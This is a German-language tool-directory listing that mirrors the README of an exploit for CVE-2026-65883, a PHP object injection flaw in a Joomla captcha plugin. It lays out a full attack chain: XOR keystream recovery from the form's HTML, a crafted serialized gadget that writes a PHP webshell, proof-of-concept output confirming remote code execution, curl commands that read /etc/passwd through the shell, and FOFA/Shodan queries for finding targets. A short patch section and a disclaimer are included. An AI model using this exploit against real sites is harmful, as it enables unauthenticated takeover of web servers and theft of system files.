Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-65883 — Aimy Captcha-Less Form Guard Joomla-Komponente PHP Object Injection RCE. clfgd XOR-Keystream-Wiederherstellung + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-65883
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsRed Teaming
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard Joomla-Komponente PHP Object Injection RCE. clfgd XOR-Keystream-Wiederherstellung + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

Repository anzeigen
45vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

clfgd-Feld → XOR-Wiederherstellung → unserialize() → FormattedtextLogger → RCE


Übersicht

Nicht authentifizierte PHP-Objektinjektion in Aimy Captcha-Less Form Guard für Joomla. Die Methode onCheckAnswer() decodiert das vom Angreifer kontrollierte POST-Feld clfgd per Base64, führt es durch eine XOR-Verschlüsselung mit sich wiederholendem Schlüssel und übergibt das Ergebnis direkt an — .

unserialize()
ohne HMAC, ohne allowed_classes-Einschränkung und ohne Integritätsprüfung
FeldDetail
CVECVE-2026-65883
ProduktAimy Captcha-Less Form Guard (Joomla-Plugin)
CVSS 4.010.0 (Kritisch)
TypCWE-502 — Deserialisierung nicht vertrauenswürdiger Daten
Betroffen18.0 — 20.0
Behoben20.1 (29. Juli 2026)
EntdecktValentin Lobstein (Chocapikk) / VulnCheck — 26. Juli 2026

Betroffene Versionen

StatusVersion
Verwundbar18.0 — 20.0
Behoben20.1 (29. Juli 2026)

Mechanismus der Schwachstelle

Grundursache

Die Methode onCheckAnswer() in plg_captcha_aimycaptchalessformguard übergibt vom Angreifer kontrollierte Eingaben direkt an unserialize():

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

Die XOR-„Verschlüsselung“ ist eine Vigenère-Chiffre mit einem Pro-Sitzungs-Schlüssel — keine Authentifizierung, nur Verschleierung.

Die gebrochene Verschlüsselung

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

Keystream-Wiederherstellung

Das Plugin rendert sowohl Chiffrat als auch Klartext in derselben HTML-Antwort:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

Da sowohl trap_ids (aus dem <span id="..._mark"> und dem Honeypot-Eingabefeld extrahierbar) als auch das Chiffrat in der HTML-Antwort enthalten sind, lassen sich durch XOR-Verknüpfung etwa 94 Bytes des 231-Byte-Keystreams wiederherstellen.

Angriffsablauf

  1. GET auf ein beliebiges captchageschütztes Formular (Registrierung, Login, Kontakt, Passwort-Reset)
  2. Extrahiere clfgd-Chiffrat + trap_ids + Timing → 94 Bytes Keystream wiederherstellen
  3. Richte ein serialisiertes FormattedtextLogger-Objekt so aus, dass strukturelle Bytes auf bekannte Keystream-Positionen fallen
  4. POST mit präpariertem clfgd → unserialize() → __destruct() → formatLine() → schreibt PHP-Webshell
  5. GET /random.php?c=id → RCE als www-data

Proof of Concept

Einzelnes Ziel

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

Manuelle Ausnutzung

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

Der Fix (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() kann keine PHP-Objekte instanziieren — die POP-Gadget-Kette ist unterbrochen.


Auswirkungen

  • Vollständiges RCE — beliebige Befehle als www-data ausführen
  • Keine Authentifizierung erforderlich — jedes öffentliche Formular mit Captcha ist ein Angriffsvektor
  • Joomla 3.9–5.2.1 — FormattedtextLogger-Gadget funktioniert über alle Versionen hinweg
  • Persistent — Webshell bleibt bestehen, bis sie manuell gelöscht wird

Haftungsausschluss

Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.


Referenzen

RessourceLink
VulnCheck-Blogvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX Threat Centerionix.io/threat-center/cve-2026-65883
CVE-Eintragcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883

Nicht mit Aimy Extensions oder VulnCheck verbunden.

Tool herunterladen